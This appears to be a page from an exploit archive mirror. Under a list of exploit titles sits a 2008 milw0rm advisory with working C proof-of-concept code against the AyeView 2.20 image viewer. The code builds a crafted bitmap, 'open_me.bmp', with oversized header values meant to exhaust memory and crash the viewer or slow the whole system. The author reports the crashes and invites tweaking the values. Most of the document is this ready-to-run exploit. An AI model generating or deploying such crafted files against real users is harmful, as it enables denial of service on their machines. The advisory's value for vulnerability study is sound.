477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
98 lines
2.7 KiB
Text
Executable file
98 lines
2.7 KiB
Text
Executable file
Name : AyeView v2.20 (invalid bitmap header parsing) DoS Exploit
|
|
Credit : suN8Hclf (DaRk-CodeRs Group), crimson.loyd@gmail.com
|
|
Download: : http://www.ayeview.com/downloads.htm
|
|
Greetz : Luigi Auriemma, 0in, cOndemned, e.wiZz!, Gynvael Coldwind,
|
|
Katharsis, str0ke, all from #dark-coders and others;]
|
|
|
|
Short Desc:
|
|
AyeView v2.20 software does not properly parse values in bmp file header.
|
|
In fact it does it good but it does not check if these values are "reasonable".
|
|
Therefore we can create a special bitmap, that will slow down or even
|
|
suspend the entire system. I have written a PoC that enforce AyeView
|
|
to allocate large amounts of memory. Short history:
|
|
|
|
First start of exploit -> the system really slowed down
|
|
Second start(another values)-> I got a message that "the amount of virtual memory
|
|
is too low", explorer.exe crashed
|
|
Third start(another values) -> AyeView crashed
|
|
|
|
PoC:
|
|
------------------------------exploit---------------------------
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <windows.h>
|
|
|
|
struct bmpfile_header{
|
|
short bfType;
|
|
int bfSize;
|
|
int Res;
|
|
int bfOffBits;
|
|
int biSize;
|
|
int biWidth;
|
|
int biHeight;
|
|
short biPlanes;
|
|
short biBitCount;
|
|
int biCompression;
|
|
int biSizeImage;
|
|
int biXPelsPerMeter;
|
|
int biYPelsPerMeter;
|
|
int biClrUsed;
|
|
char biClrImportant;
|
|
char biClrRotation;
|
|
short biReserved;
|
|
}__attribute__((packed)); //shift to 54 bytes
|
|
|
|
|
|
#define WIDTH 3000 //play around with these values...
|
|
#define HEIGHT 60000
|
|
#define Y 44432
|
|
#define X 54444
|
|
|
|
int main(int argc, char *argv[])
|
|
{
|
|
struct bmpfile_header *bmpheader;
|
|
char *memory;
|
|
FILE *f;
|
|
|
|
memory=(char *)malloc(60);
|
|
if(memory==NULL){
|
|
perror("malloc");
|
|
return -1;
|
|
}
|
|
memset(memory, 0, 60);
|
|
bmpheader=(struct bmpfile_header *)memory;
|
|
printf("[+]Building bitmap... :)\n");
|
|
bmpheader->bfType=*(short *)"BM";
|
|
bmpheader->bfSize=(int)60;
|
|
bmpheader->Res=0;
|
|
bmpheader->bfOffBits=54;
|
|
bmpheader->biSize=40;
|
|
bmpheader->biHeight=(int)HEIGHT;
|
|
bmpheader->biWidth=(int)WIDTH;
|
|
bmpheader->biPlanes=1;
|
|
bmpheader->biBitCount=24;
|
|
bmpheader->biCompression=0;
|
|
bmpheader->biSizeImage=6;
|
|
bmpheader->biXPelsPerMeter=(int)X;
|
|
bmpheader->biYPelsPerMeter=(int)Y;
|
|
bmpheader->biClrUsed=255*255*255;
|
|
bmpheader->biClrImportant=0;
|
|
bmpheader->biClrRotation=0;
|
|
|
|
f=fopen("open_me.bmp", "wb");
|
|
if(!f){
|
|
perror("fopen");
|
|
free(memory);
|
|
exit(-1);
|
|
}
|
|
fwrite(memory, 1, 60, f);
|
|
fclose(f);
|
|
printf("[+]open_me.bmp bitmap created :)\n");
|
|
free(memory);
|
|
return 0;
|
|
}
|
|
------------------------------exploit---------------------------
|
|
|
|
Stay secure...
|
|
|
|
# milw0rm.com [2008-10-05]
|